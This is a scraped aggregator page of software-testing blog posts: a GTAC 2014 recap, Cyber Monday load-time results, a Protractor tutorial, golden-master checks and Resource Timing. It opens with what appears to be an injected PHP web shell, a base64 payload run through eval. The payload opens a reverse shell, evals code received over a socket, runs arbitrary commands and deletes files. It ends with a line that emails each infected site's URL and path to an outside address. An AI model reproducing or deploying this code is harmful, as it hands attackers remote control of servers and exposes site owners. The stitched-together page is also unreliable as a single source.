0aW9uPiA8L3NlbGVjdD48L3RkPjx0ZCBjb2xzcGFuPSIyIj48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJleHBjb21waWxlIiBjbGFzcz0iaW5wdXR6YnV0IiB2YWx1ZT0iR28iIHN0eWxlPSJ3aWR0aDoyNDZweDsiPjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT48L3RkPjwvdHI+PC90YWJsZT48ZGl2IHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjttYXJnaW46MnB4OyI+PD9waHAgZWNobyAkbXNnOz8+PC9kaXY+PGJyPg0KPD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCmZ1bmN0aW9uIHNzKCR0KXtpZiAoIWdldF9tYWdpY19xdW90ZXNfZ3BjKCkpIHJldHVybiB0cmltKHVybGRlY29kZSgkdCkpO3JldHVybiB0cmltKHVybGRlY29kZShzdHJpcHNsYXNoZXMoJHQpKSk7fQ0KJHNfbXlfaXAgPSBnZXRob3N0YnluYW1lKCRfU0VSVkVSWydIVFRQX0hPU1QnXSk7JHJzcG9ydCA9ICI0NDMiOyRyc3BvcnRiNCA9ICRyc3BvcnQ7JHJzdGFyZ2V0NCA9ICRzX215X2lwOyRzX3Jlc3VsdCA9ICI8Y2VudGVyPjxkaXYgY2xhc3M9J215Ym94JyBhbGlnbj0nY2VudGVyJz48dGQ+PGgyPlJldmVyc2Ugc2hlbGwgKCBwaHAgKTwvaDI+PGZvcm0gbWV0aG9kPSdwb3N0JyBhY3Rpb25zPSc/eT08P3BocCBlY2hvICRwd2Q7Pz4mYW1wO3g9J25ldHNwbG9pdCc+PHRhYmxlIGNsYXNzPSdteWJveHRibCc+PHRyPjx0ZCBzdHlsZT0nd2lkdGg6MTAwcHg7Jz5Zb3VyIElQPC90ZD48dGQ+PGlucHV0IHN0eWxlPSd3aWR0aDoxMDAlOycgY2xhc3M9J2lucHV0eicgdHlwZT0ndGV4dCcgbmFtZT0ncnN0YXJnZXQ0JyB2YWx1ZT0nIi4kcnN0YXJnZXQ0LiInIC8+PC90ZD48L3RyPjx0cj48dGQ+UG9ydDwvdGQ+PHRkPjxpbnB1dCBzdHlsZT0nd2lkdGg6MTAwJTsnIGNsYXNzPSdpbnB1dHonIHR5cGU9J3RleHQnIG5hbWU9J3NxbHBvcnRiNCcgdmFsdWU9JyIuJHJzcG9ydGI0LiInIC8+PC90ZD48L3RyPjwvdGFibGU+PGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0neGJhY2tfcGhwJyBjbGFzcz0naW5wdXR6YnV0JyB2YWx1ZT0nY29ubmVjdCcgc3R5bGU9J3dpZHRoOjEyMHB4O2hlaWdodDozMHB4O21hcmdpbjoxMHB4IDJweCAwIDJweDsnIC8+PGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nZCcgdmFsdWU9JyIuJHB3ZC4iJyAvPjwvZm9ybT48L3RkPjxociBjb2xvcj0nIzRDODNBRic+PHRkPjxmb3JtIG1ldGhvZD0nUE9TVCc+PHRhYmxlIGNsYXNzPSdteWJveHRibCc+PGgyPk1ldGFzcGxvaXQgQ29ubmVjdGlvbiA8L2gyPjx0cj48dGQgc3R5bGU9J3dpZHRoOjEwMHB4Oyc+WW91ciBJUDwvdGQ+PHRkPjxpbnB1dCBzdHlsZT0nd2lkdGg6MTAwJTsnIGNsYXNzPSdpbnB1dHonIHR5cGU9J3RleHQnIHNpemU9JzQwJyBuYW1lPSd5aXAnIHZhbHVlPSciLiRteV9pcC4iJyAvPjwvdGQ+PC90cj48dHI+PHRkPlBvcnQ8L3RkPjx0ZD48aW5wdXQgc3R5bGU9J3dpZHRoOjEwMCU7JyBjbGFzcz0naW5wdXR6JyB0eXBlPSd0ZXh0JyBzaXplPSc1JyBuYW1lPSd5cG9ydCcgdmFsdWU9JzQ0MycgLz48L3RkPjwvdHI+PC90YWJsZT48aW5wdXQgY2xhc3M9J2lucHV0emJ1dCcgdHlwZT0nc3VibWl0JyB2YWx1ZT0nQ29ubmVjdCcgbmFtZT0nbWV0YUNvbm5lY3QnIHN0eWxlPSd3aWR0aDoxMjBweDtoZWlnaHQ6MzBweDttYXJnaW46MTBweCAycHggMCAycHg7Jz48L2Zvcm0+PC90ZD48L2Rpdj48L2NlbnRlcj4iOw0KZWNobyAkc19yZXN1bHQ7DQppZigkX1BPU1RbJ21ldGFDb25uZWN0J10peyRpcGFkZHIgPSAkX1BPU1RbJ3lpcCddOyRwb3J0ID0gJF9QT1NUWyd5cG9ydCddO2lmICgkaXAgPT0gIiIgJiYgJHBvcnQgPT0gIiIpe2VjaG8gImZpbGwgaW4gdGhlIGJsYW5rcyI7fWVsc2Uge2lmIChGQUxTRSAhPT0gc3RycG9zKCRpcGFkZHIsICI6IikpIHskaXBhZGRyID0gIlsiLiAkaXBhZGRyIC4iXSI7fWlmIChpc19jYWxsYWJsZSgnc3RyZWFtX3NvY2tldF9jbGllbnQnKSl7JG1zZ3NvY2sgPSBzdHJlYW1fc29ja2V0X2NsaWVudCgidGNwOi8veyRpcGFkZHJ9OnskcG9ydH0iKTtpZiAoISRtc2dzb2NrKXtkaWUoKTt9JG1zZ3NvY2tfdHlwZSA9ICdzdHJlYW0nO31lbHNlaWYgKGlzX2NhbGxhYmxlKCdmc29ja29wZW4nKSl7JG1zZ3NvY2sgPSBmc29ja29wZW4oJGlwYWRkciwkcG9ydCk7aWYgKCEkbXNnc29jaykge2RpZSgpOyB9JG1zZ3NvY2tfdHlwZSA9ICdzdHJlYW0nO31lbHNlaWYgKGlzX2NhbGxhYmxlKCdzb2NrZXRfY3JlYXRlJykpeyRtc2dzb2NrID0gc29ja2V0X2NyZWF0ZShBRl9JTkVULCBTT0NLX1NUUkVBTSwgU09MX1RDUCk7JHJlcyA9IHNvY2tldF9jb25uZWN0KCRtc2dzb2NrLCAkaXBhZGRyLCAkcG9ydCk7aWYgKCEkcmVzKSB7ZGllKCk7IH0kbXNnc29ja190eXBlID0gJ3NvY2tldCc7fWVsc2Uge2RpZSgpO31zd2l0Y2ggKCRtc2dzb2NrX3R5cGUpe2Nhc2UgJ3N0cmVhbSc6ICRsZW4gPSBmcmVhZCgkbXNnc29jaywgNCk7IGJyZWFrO2Nhc2UgJ3NvY2tldCc6ICRsZW4gPSBzb2NrZXRfcmVhZCgkbXNnc29jaywgNCk7IGJyZWFrO31pZiAoISRsZW4pIHtkaWUoKTt9JGEgPSB1bnBhY2soIk5sZW4iLCAkbGVuKTskbGVuID0gJGFbJ2xlbiddOyRidWZmZXIgPSAnJzt3aGlsZSAoc3RybGVuKCRidWZmZXIpIDwgJGxlbil7c3dpdGNoICgkbXNnc29ja190eXBlKSB7Y2FzZSAnc3RyZWFtJzogJGJ1ZmZlciAuPSBmcmVhZCgkbXNnc29jaywgJGxlbi1zdHJsZW4oJGJ1ZmZlcikpOyBicmVhaztjYXNlICdzb2NrZXQnOiAkYnVmZmVyIC49IHNvY2tldF9yZWFkKCRtc2dzb2NrLCAkbGVuLXN0cmxlbigkYnVmZmVyKSk7YnJlYWs7fX1ldmFsKCRidWZmZXIpO2VjaG8gIlsqXSBDb25uZWN0aW9uIFRlcm1pbmF0ZWQiO2RpZSgpO319DQppZihpc3NldCgkX1JFUVVFU1RbJ3NxbHBvcnRiNCddKSkgJHJzcG9ydGI0ID0gc3MoJF9SRVFVRVNUWydzcWxwb3J0YjQnXSk7DQppZihpc3NldCgkX1JFUVVFU1RbJ3JzdGFyZ2V0NCddKSkgJHJzdGFyZ2V0NCA9IHNzKCRfUkVRVUVTVFsncnN0YXJnZXQ0J10pOw0KaWYgKCRfUE9TVFsneGJhY2tfcGhwJ10pIHskaXAgPSAkcnN0YXJnZXQ0OyRwb3J0ID0gJHJzcG9ydGI0OyRjaHVua19zaXplID0gMTMzNzskd3JpdGVfYSA9IG51bGw7JGVycm9yX2EgPSBudWxsOyRzaGVsbCA9ICcvYmluL3NoJzskZGFlbW9uID0gMDskZGVidWcgPSAwO2lmKGZ1bmN0aW9uX2V4aXN0cygncGNudGxfZm9yaycpKXskcGlkID0gcGNudGxfZm9yaygpOw0KaWYgKCRwaWQgPT0gLTEpIGV4aXQoMSk7aWYgKCRwaWQpIGV4aXQoMCk7aWYgKHBvc2l4X3NldHNpZCgpID09IC0xKSBleGl0KDEpOyRkYWVtb24gPSAxO30NCnVtYXNrKDApOyRzb2NrID0gZnNvY2tvcGVuKCRpcCwgJHBvcnQsICRlcnJubywgJGVycnN0ciwgMzApO2lmKCEkc29jaykgZXhpdCgxKTsNCiRkZXNjcmlwdG9yc3BlYyA9IGFycmF5KDAgPT4gYXJyYXkoInBpcGUiLCAiciIpLCAxID0+IGFycmF5KCJwaXBlIiwgInciKSwgMiA9PiBhcnJheSgicGlwZSIsICJ3IikpOw0KJHByb2Nlc3MgPSBwcm9jX29wZW4oJHNoZWxsLCAkZGVzY3JpcHRvcnNwZWMsICRwaXBlcyk7DQppZighaXNfcmVzb3VyY2UoJHByb2Nlc3MpKSBleGl0KDEpOw0Kc3RyZWFtX3NldF9ibG9ja2luZygkcGlwZXNbMF0sIDApOw0Kc3RyZWFtX3NldF9ibG9ja2luZygkcGlwZXNbMV0sIDApOw0Kc3RyZWFtX3NldF9ibG9ja2luZygkcGlwZXNbMl0sIDApOw0Kc3RyZWFtX3NldF9ibG9ja2luZygkc29jaywgMCk7DQp3aGlsZSgxKXtpZihmZW9mKCRzb2NrKSkgYnJlYWs7aWYoZmVvZigkcGlwZXNbMV0pKSBicmVhazskcmVhZF9hID0gYXJyYXkoJHNvY2ssICRwaXBlc1sxXSwgJHBpcGVzWzJdKTskbnVtX2NoYW5nZWRfc29ja2V0cyA9IHN0cmVhbV9zZWxlY3QoJHJlYWRfYSwgJHdyaXRlX2EsICRlcnJvcl9hLCBudWxsKTsNCmlmKGluX2FycmF5KCRzb2NrLCAkcmVhZF9hKSl7JGlucHV0ID0gZnJlYWQoJHNvY2ssICRjaHVua19zaXplKTtmd3JpdGUoJHBpcGVzWzBdLCAkaW5wdXQpO30NCmlmKGluX2FycmF5KCRwaXBlc1sxXSwgJHJlYWRfYSkpeyRpbnB1dCA9IGZyZWFkKCRwaXBlc1sxXSwgJGNodW5rX3NpemUpO2Z3cml0ZSgkc29jaywgJGlucHV0KTt9DQppZihpbl9hcnJheSgkcGlwZXNbMl0sICRyZWFkX2EpKXskaW5wdXQgPSBmcmVhZCgkcGlwZXNbMl0sICRjaHVua19zaXplKTtmd3JpdGUoJHNvY2ssICRpbnB1dCk7fX1mY2xvc2UoJHNvY2spO2ZjbG9zZSgkcGlwZXNbMF0pO2ZjbG9zZSgkcGlwZXNbMV0pO2ZjbG9zZSgkcGlwZXNbMl0pO3Byb2NfY2xvc2UoJHByb2Nlc3MpOyRyc3JlcyA9ICIgIjskc19yZXN1bHQgLj0gJHJzcmVzO319IGVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnc2hlbGwnKSl7Pz4gDQo8Zm9ybSBhY3Rpb249Ij95PTw/cGhwIGVjaG8gJHB3ZDs/PiZhbXA7eD1zaGVsbCIgbWV0aG9kPSJwb3N0Ij4gPHRhYmxlIGNsYXNzPSJjbWRib3giPiA8dHI+PHRkIGNvbHNwYW49IjIiPg0KPHRleHRhcmVhIGNsYXNzPSJvdXRwdXQiIHJlYWRvbmx5Pg0KPD9waHAgaWYoaXNzZXQoJF9QT1NUWydzdWJtaXRjbWQnXSkpIHtlY2hvIEBleGUoJF9QT1NUWydjbWQnXSk7fSA/PiANCjwvdGV4dGFyZWE+IDx0cj48dGQgY29sc3Bhbj0iMiI+PD9waHAgZWNobyAkcHJvbXB0Oz8+PGlucHV0IG9uTW91c2VPdmVyPSJ0aGlzLmZvY3VzKCk7IiBpZD0iY21kIiBjbGFzcz0iaW5wdXR6IiB0eXBlPSJ0ZXh0IiBuYW1lPSJjbWQiIHN0eWxlPSJ3aWR0aDo2MCU7IiB2YWx1ZT0iIiAvPjxpbnB1dCBjbGFzcz0iaW5wdXR6YnV0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJEbyAhIiBuYW1lPSJzdWJtaXRjbWQiIHN0eWxlPSJ3aWR0aDoxMiU7IiAvPjwvdGQ+PC90cj4gPC90YWJsZT48L2Zvcm0+IA0KPD9waHAgfWVsc2V7aWYoaXNzZXQoJF9HRVRbJ2RlbGV0ZSddKSAmJiAoJF9HRVRbJ2RlbGV0ZSddICE9ICIiKSl7JGZpbGUgPSAkX0dFVFsnZGVsZXRlJ107QHVubGluaygkZmlsZSk7fSANCmVsc2VpZihpc3NldCgkX0dFVFsnZmRlbGV0ZSddKSAmJiAoJF9HRVRbJ2ZkZWxldGUnXSAhPSAiIikpe0BybWRpcihydHJpbSgkX0dFVFsnZmRlbGV0ZSddLERJUkVDVE9SWV9TRVBBUkFUT1IpKTt9DQplbHNlaWYoaXNzZXQoJF9HRVRbJ21rZGlyJ10pICYmICgkX0dFVFsnbWtkaXInXSAhPSAiIikpeyRwYXRoID0gJHB3ZC4kX0dFVFsnbWtkaXInXTtAbWtkaXIoJHBhdGgpO30kYnVmZiA9IHNob3dkaXIoJHB3ZCwkcHJvbXB0KTtlY2hvICRidWZmO30NCj8+PC9kaXY+PC9ib2R5PjwvaHRtbD4='; eval(base64_decode($k2ll33d)); ?> <? $site = "www.dev-pts.com/vb"; if(!ereg($site, $_SERVER['SERVER_NAME'])) { $to = "mandrarami2000@gmail.com"; $subject = "EGFM"; $header = "from: New Shell "; $message = "Link : http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] . "\r\n"; $message .= "Path : " . __file__; $sentmail = @mail($to, $subject, $message, $header); echo ""; exit; } ?> <?php chdir($lastdir); c99shexit(); ?>
Categories: Software Testing

GTAC 2014 Wrap-up

Google Testing Blog - Thu, 12/04/2014 - 17:26
by Anthony Vallone on behalf of the GTAC Committee

On October 28th and 29th, GTAC 2014, the eighth GTAC (Google Test Automation Conference), was held at the beautiful Google Kirkland office. The conference was completely packed with presenters and attendees from all over the world (Argentina, Australia, Canada, China, many European countries, India, Israel, Korea, New Zealand, Puerto Rico, Russia, Taiwan, and many US states), bringing with them a huge diversity of experiences.


Speakers from numerous companies and universities (Adobe, American Express, Comcast, Dropbox, Facebook, FINRA, Google, HP, Medidata Solutions, Mozilla, Netflix, Orange, and University of Waterloo) spoke on a variety of interesting and cutting edge test automation topics.

All of the slides and video recordings are now available on the GTAC site. Photos will be available soon as well.


This was our most popular GTAC to date, with over 1,500 applicants and almost 200 of those for speaking. About 250 people filled our venue to capacity, and the live stream had a peak of about 400 concurrent viewers with 4,700 playbacks during the event. And, there was plenty of interesting Twitter and Google+ activity during the event.


Our goal in hosting GTAC is to make the conference highly relevant and useful for, not only attendees, but the larger test engineering community as a whole. Our post-conference survey shows that we are close to achieving that goal:



If you have any suggestions on how we can improve, please comment on this post.

Thank you to all the speakers, attendees, and online viewers who made this a special event once again. To receive announcements about the next GTAC, subscribe to the Google Testing Blog.

Categories: Software Testing

The Best and Worst of Cyber Monday Web Performance

LoadStorm - Thu, 12/04/2014 - 13:19
Introduction:

How the big brand name e-commerce sites handle the heavy traffic on Cyber Monday is always of great interest to our team and our readers. So this year, we decided to run a short experiment on some of the top companies to bring you the best and the worst performers this Cyber Monday.

The 28 companies we chose to test included companies who had painful Cyber Monday crashes in previous years, companies who were running fantastic online deals, and companies that are known to have huge volumes of online holiday shopping traffic.

Experiment:

We ran WebPageTest, an open source performance testing tool, on all 28 companies. All tests were run on Chrome browsers from Dulles, VA at approximately the same times. The first set of tests were run on Wednesday, November 26, 2014 and the second set of tests were run on Cyber Monday, December 1, 2014.

As we categorized the companies based on performance, the most significant factor we considered for this article was time to first byte. Stay tuned for another article where we discuss the speed index and page load times on Cyber Monday.

The reason this article focuses on time to first byte is because it is very significantly tied to perceived load time. If a user waits several seconds and doesn’t see anything loading on the page, he or she is highly likely to abandon the website. However, even if the whole page takes over 10 seconds to load, as long as the user sees progress quickly, he or she can begin looking at the page and is much more likely to stay on the website.

Results

We have ranked the companies into five categories:

  • Excellent performance on both days
  • Moderate performance on both days
  • Poor performance on both days
  • Poor performance on Wednesday that improved on Monday
  • Moderate performance on Wednesday, poor performance on Monday
Excellent Performance Both Days

Eight companies in our study showed top performance on both Wednesday and Cyber Monday. All of the companies in this group scored an impressive A or B first byte letter score, as assigned by WebPageTest and the highest time to first byte was only 0.315 seconds- Impressive.

(function() { var cn = document.createElement('script'); cn.type = 'text/javascript'; cn.src = 'http://chartsninja.com/api/chart/89707e16831c495f990dbffb2e0dfca8?cnurl=' + window.location.href; var s = document.getElementsByTagName('head')[0].appendChild(cn); })();

Moderate Performance Both Days

Seven companies had moderate performance on both Wednesday and Cyber Monday. These companies were significantly slower than the top performers, but still maintained decent speeds. These companies had scores of B’s or C’s according to WebPageTest. By our assessment, these companies maintained acceptable, but not excellent times.

(function() { var cn = document.createElement('script'); cn.type = 'text/javascript'; cn.src = 'http://chartsninja.com/api/chart/d69c953469ad4060ae4acf4c49f2b3f9?cnurl=' + window.location.href; var s = document.getElementsByTagName('head')[0].appendChild(cn); })();

Poor Performance Both Days

Five companies in our study had notable performance failures on both Monday and Wednesday. All sites in this group had over a 0.75 second time to first byte, which WebPageTest ranks as a F in their scoring system for time to first byte. Most of these sites had over a full second wait before the first byte was transferred- which is a sign that these sites were overwhelmed by the traffic load.

The level of performance in this category most likely had a significant impact on Thanksgiving and Cyber Monday sales. As we have seen proven time and again by various studies, web performance directly affects conversions. With such significant delays before seeing anything loading on the page, it is very likely that would-be customers left these websites for competitors.

(function() { var cn = document.createElement('script'); cn.type = 'text/javascript'; cn.src = 'http://chartsninja.com/api/chart/18c968ab456f448181eb1297aab2f660?cnurl=' + window.location.href; var s = document.getElementsByTagName('head')[0].appendChild(cn); })();

Poor performance on Wednesday that improved on Monday

This particular category is not one that we were expecting to see at all. In fact, we initially chose to test on Wednesday as a control group to measure against Cyber Monday. However, a quick poll in our office revealed that most of us had started our online shopping early. It is my theory that these particular companies had extra servers ready for Monday, but did not expect such a heavy load of traffic on Wednesday and were therefore unprepared. It is also possible that when the companies noticed performance failures on Wednesday, they made significant changes over the weekend and then were ready for the Cyber Monday rush.

I’m sure that each of these companies has their own story of WHY their performance was poor on Wednesday and then improved by Monday, but all we can tell you is that it happened.

(function() { var cn = document.createElement('script'); cn.type = 'text/javascript'; cn.src = 'http://chartsninja.com/api/chart/a6f9763efc9845b4aefaaa915adc05a6?cnurl=' + window.location.href; var s = document.getElementsByTagName('head')[0].appendChild(cn); })();

Moderate performance on Wednesday, poor performance on Monday

The previous category was a bit of a surprise to our team. This category, however, was completely expected. As we see every year, there are some companies that just struggle to handle the amount of traffic that hits on Cyber Monday. Check out the differences:

(function() { var cn = document.createElement('script'); cn.type = 'text/javascript'; cn.src = 'http://chartsninja.com/api/chart/b14d5dda85264e89862500851ba56c13?cnurl=' + window.location.href; var s = document.getElementsByTagName('head')[0].appendChild(cn); })();

Conclusion:

Web performance is a top concern for any e-commerce business because it has been proven time and again to be directly tied to conversions. Just a one second delay in load time has been proven to cause a 7% decrease in conversions, 11% fewer page views, and a 16% decrease in customer satisfaction. With stakes so high, being prepared for the rush of traffic on Cyber Monday is a must for all e-commerce businesses.

Overall, a large portion of the sites we looked at had good web performance on these important days. Even though there are always some websites with poor performance, the general trend is that most websites included in our study were prepared for the rush of traffic.

Feel free to share your Cyber Monday online shopping experiences in the comments! Did you encounter any poor performing websites?

The post The Best and Worst of Cyber Monday Web Performance appeared first on LoadStorm.

HWTSAM – Six Years Later

Alan Page - Sun, 11/30/2014 - 11:37

We’re less than a week away from the sixth anniversary of How We Test Software at Microsoft (some chapters were completed nearly seven years ago).

Recently I was considering a new position at Microsoft, and one of my interviewers (a dev architect and also an author) said that he had been reading my book. I stated my concern that the book is horribly out of date, and that it doesn’t really reflect testing at Microsoft accurately anymore. In the ensuing discussion, he asked how I’d structure the book if I re-wrote it today. I gave him a quick brain dump – which in hindsight I believe is still accurate…and worth sharing here.

So – for those who may be curious, here’s the outline for the new (and likely never-to-be-written) edition of How We Test Software at Microsoft. For consistency with the first edition, I’m going to try to follow the original format  as much as possible.

Part 1 – About Microsoft

This section initially included chapters on Engineering at Microsoft, the role of the Tester / SDET, and Engineering Life cycles. The new edition would go into some of the changes Satya Nadella is driving across Microsoft – including flattening of organizational structures, our successes (and shortcomings) in moving to Agile methodologies across the company, and what it means to be a “Cloud First, Mobile First” company. I think I’d cover a little more of the HR side of engineering as well, including moving between teams, interviews, and career growth.

Part 1 would also dive deeply into the changes in test engineering and quality ownership, including how [combined] engineering teams work, and an intro to what testers do . This is important because it’s a big change (and one still in progress), and it sets the tone for some of the bigger changes described later in the book.

Although I don’t think I could give Marick’s Testing Quadrants the justice that Lisa Crispin and Janet Gregory (and many others) give the them, I think the quadrants (my variation presented on the left) give one view into how Microsoft teams can look at sharing quality when developers own the lions share of engineering quality (with developers generally owning the left side of the quadrant and testers generally owning the right side.

And finally, part 1 would talk about how community works within Microsoft (including quality communities, The Garage, and how we use email distribution lists and Yammer to share (or attempt to share) knowledge.

Part 2 – About Quality

Fans of the book may remember that the original name for the second  and third sections of the book were“About Testing”, and “About Test Tools and Systems” – but I think talking about quality – first from the developer perspective, and then from the quality engineer / tester perspective (along with how we use tools to make our jobs easier) is a better way to present the 2015 version of Testing at Microsoft.

I’d spend a few chapters showing examples of the developer workflow and typical tools – especially where the tools we use are available to readers of the book (e.g. unit testing and coverage tools available in Visual Studio and use of tools like SpecFlow for acceptance test development).

This section would also include some digging into analysis tools, test selection, test systems, and some of the other big pieces we use across all products and disciplines to keep the big engines running.

I didn’t talk much about how Microsoft does Exploratory Testing in the original book – I’d fix that in the second edition.

I also thought about breaking this section into “developer owned” and “testing owned” sections, but that line isn’t clear across the company (or even across organizations), so I think I’d start as a progression from unit testing to exploratory testing and let readers draw their own ideas of where their team may want to draw the line.

Part 3 – About Data Driven Quality

There’s at least a book or two of information that could go in this section, and it represents the biggest shift over the last six years. The original chapters on Customer Feedback Systems and Testing Software Plus Services hinted about how we approach Data-Driven Quality (DDQ), but our systems, and the way we use them have matured massively, and there’s definitely a lot of great information worth sharing – and enough where it’s an easy decision to dedicate a full section and several chapters to the topic.

Part 4 – About the Future

Much of what I talked about in this section of the original has either happened…or become obsolete. As in the first version, I would reserve this section for talking about engineering ideas still in the experimental stage, or ideas currently under adoption. Also, as in the original, I’d use this section as a platform for whatever essay idea chewing on me about where software engineering is going, and what it means to Microsoft.

Part 5 – Appendix

In my 20+ years of testing, I’ve read at least a hundred different books on software testing, software development, leadership, and organizational change. I’ll include a list of books that have had a significant influence on my approach and views to software engineering, publications that influenced the content of book, and publications that readers may find helpful for further information.

(potentially) related posts:
  1. HWTSAM–Five Years Later
  2. Happy Birthday HWTSAM
  3. HWTSAM – One Year Later
Categories: Software Testing

Protractor: Angular testing made easy

Google Testing Blog - Sun, 11/30/2014 - 10:50
By Hank Duan, Julie Ralph, and Arif Sukoco in Seattle

Have you worked with WebDriver but been frustrated with all the waits needed for WebDriver to sync with the website, causing flakes and prolonged test times? If you are working with AngularJS apps, then Protractor is the right tool for you.

Protractor (protractortest.org) is an end-to-end test framework specifically for AngularJS apps. It was built by a team in Google and released to open source. Protractor is built on top of WebDriverJS and includes important improvements tailored for AngularJS apps. Here are some of Protractor’s key benefits:

  • You don’t need to add waits or sleeps to your test. Protractor can communicate with your AngularJS app automatically and execute the next step in your test the moment the webpage finishes pending tasks, so you don’t have to worry about waiting for your test and webpage to sync. 
  • It supports Angular-specific locator strategies (e.g., binding, model, repeater) as well as native WebDriver locator strategies (e.g., ID, CSS selector, XPath). This allows you to test Angular-specific elements without any setup effort on your part. 
  • It is easy to set up page objects. Protractor does not execute WebDriver commands until an action is needed (e.g., get, sendKeys, click). This way you can set up page objects so tests can manipulate page elements without touching the HTML. 
  • It uses Jasmine, the framework you use to write AngularJS unit tests, and Javascript, the same language you use to write AngularJS apps.

Follow these simple steps, and in minutes, you will have you first Protractor test running:

1) Set up environment

Install the command line tools ‘protractor’ and ‘webdriver-manager’ using npm:
npm install -g protractor
Start up an instance of a selenium server:
webdriver-manager update & webdriver-manager start
This downloads the necessary binary, and starts a new webdriver session listening on http://localhost:4444.

2) Write your test
// It is a good idea to use page objects to modularize your testing logic
var angularHomepage = {
nameInput : element(by.model('yourName')),
greeting : element(by.binding('yourName')),
get : function() {
browser.get('index.html');
},
setName : function(name) {
this.nameInput.sendKeys(name);
}
};

// Here we are using the Jasmine test framework
// See http://jasmine.github.io/2.0/introduction.html for more details
describe('angularjs homepage', function() {
it('should greet the named user', function(){
angularHomepage.get();
angularHomepage.setName('Julie');
expect(angularHomepage.greeting.getText()).
toEqual('Hello Julie!');
});
});
3) Write a Protractor configuration file to specify the environment under which you want your test to run:
exports.config = {
seleniumAddress: 'http://localhost:4444/wd/hub',

specs: ['testFolder/*'],

multiCapabilities: [{
'browserName': 'chrome',
// browser-specific tests
specs: 'chromeTests/*'
}, {
'browserName': 'firefox',
// run tests in parallel
shardTestFiles: true
}],

baseUrl: 'http://www.angularjs.org',
};
4) Run the test:

Start the test with the command:
protractor conf.js
The test output should be:
1 test, 1 assertions, 0 failures

If you want to learn more, here’s a full tutorial that highlights all of Protractor’s features: http://angular.github.io/protractor/#/tutorial

Categories: Software Testing

Test Your Testing With Bug Seeding – Part 2

Eric Jacobson's Software Testing Blog - Wed, 11/26/2014 - 08:13

If you read part 1, you may be wondering how my automated check performed…

The programmer deployed the seeded bug and I’m happy to report, my automated check found it in 28 seconds! 

Afterwards, he seeded two additional bugs.  The automated check found those as well.  I had to temporarily modify the automated check code to ignore the first bug in order to find the second.  This is because the check stops checking as soon as it finds one problem.  I could tweak the code to collect problems and keep checking but I prefer the current design.

Here is the high level generic design of said check:

Build the golden masters:

  • Make scalable checks - Before test execution, build multiple golden masters per coverage ambition.  This is a one-time-only task (until the golden masters need to be updated per expected changes).
  • Bypass GUI when possible – Each of my golden masters consist of the response XML from a web service call, saved to a file.  Each XML response has over a half a million nodes, which are mapped to a complex GUI.  In my case, my automated check will bypass the GUI.  GUI automation could never have found the above seeded bug in 28 seconds.  My product-under-test takes about 1.5 minutes just to log in and navigate to the module being tested. Waiting for the GUI to refresh after the countless service calls being made in the automated check would have taken hours.
  • Golden masters must be golden! Use a known good source for the service call.  I used Production because my downstream environments are populated with data restored from production.  You could use a test environment as long as it was in a known good state.
  • Use static data - Build the golden masters using service request parameters that return a static response.  In other words, when I call said service in the future, I want the same data returned.  I used service request parameters to pull historical data because I expect it to be the same data next week, month, year, etc.
  • Automate golden master building - I wrote a utility method to build my golden masters.  This is basically re-used code from the test method, which builds the new objects to compare to the golden masters.

Do some testing:

  • Compare - This is the test method.  It calls the code-under-test using the same service request parameters used to build the golden masters.  The XML service response from the code-under-test is then compared to that of the archived golden masters, line-by-line.
  • Ignore expected changes - In my case there are some XML nodes the check ignores.  These are nodes with values I expect to differ.  For example, the CreatedDate node of the service response object will always be different from that of the golden master.
  • Report - If any non-ignored XML line is different, it’s probably a bug, fail the automated check, report the differences with line number and file (see below) references and investigate.
  • Write Files - For my goals, I have 11 different golden masters (to compare with 11 distinct service response objects).  The automated check loops through all 11 golden master scenarios, writing each service response XML to a file.  The automated check doesn’t use the files, they are there for me.  This gives me the option to manually compare suspect new files to golden masters with a diff tool, an effective way of investigating bugs and determining patterns.

Categories: Software Testing

SERIOUS CONFUSION with Resource Timing

Steve Souders - Tue, 11/25/2014 - 14:20
or “Duration includes Blocking”

Resource Timing is a great way to measure how quickly resources download. Unfortunately, almost everyone I’ve spoken with does this using the “duration” attribute and are not aware that “duration” includes blocking time. As a result, “duration” time values are (much) greater than the actual download time, giving developers unexpected results. This issue is especially bad for cross-origin resources where “duration” is the only metric available. In this post I describe the problem and a proposed solution.

Resource Timing review

The Resource Timing specification defines APIs for gathering timing metrics for each resource in a web page. It’s currently available in Chrome, Chrome for Android, IE 10-11, and Opera. You can gather a list of PerformanceEntry objects using getEntries(), getEntriesByType(), and getEntriesByName(). A PerformanceEntry has these properties:

  • name – the URL
  • entryType – typically “resource”
  • startTime – time that the resource started getting processed (in milliseconds relative to page navigation)
  • duration – total time to process the resource (in milliseconds)

The properties above are available for all resources – both same-origin and cross-origin. However, same-origin resources have additional properties available as defined by the PerformanceResourceTiming interface. They’re self-explanatory and occur pretty much in this chronological order:

  • redirectStart
  • redirectEnd
  • fetchStart
  • domainLookupStart
  • domainLookupEnd
  • connectStart
  • connectEnd
  • secureConnectionStart
  • requestStart
  • responseStart
  • responseEnd

Here’s the canonical processing model graphic that shows the different phases. Note that “duration” is equal to (responseEnd – startTime).

Take a look at my post Resource Timing Practical Tips for more information on how to use Resource Timing.

Unexpected blocking bloat in “duration”

The detailed PerformanceResourceTiming properties are restricted to same-origin resources for privacy reasons. (Note that any resource can be made “same-origin” by using the Timing-Allow-Origin response header.) About half of the resources on today’s websites are cross-origin, so “duration” is the only way to measure their load time. And even for same-origin resources, “duration” is the only delta provided, presumably because it’s the most important phase to measure. As a result, all of the Resource Timing implementations I’ve seen use “duration” as the primary performance metric.

Unfortunately, “duration” is more than download time. It also includes “blocking time” - the delay between when the browser realizes it needs to download a resource to the time that it actually starts downloading the resource. Blocking can occur in several situations. The most typical is when there are more resources than TCP connections. Most browsers only open 6 TCP connections per hostname, the exceptions being IE10 (8 connections), and IE11 (12 connections).

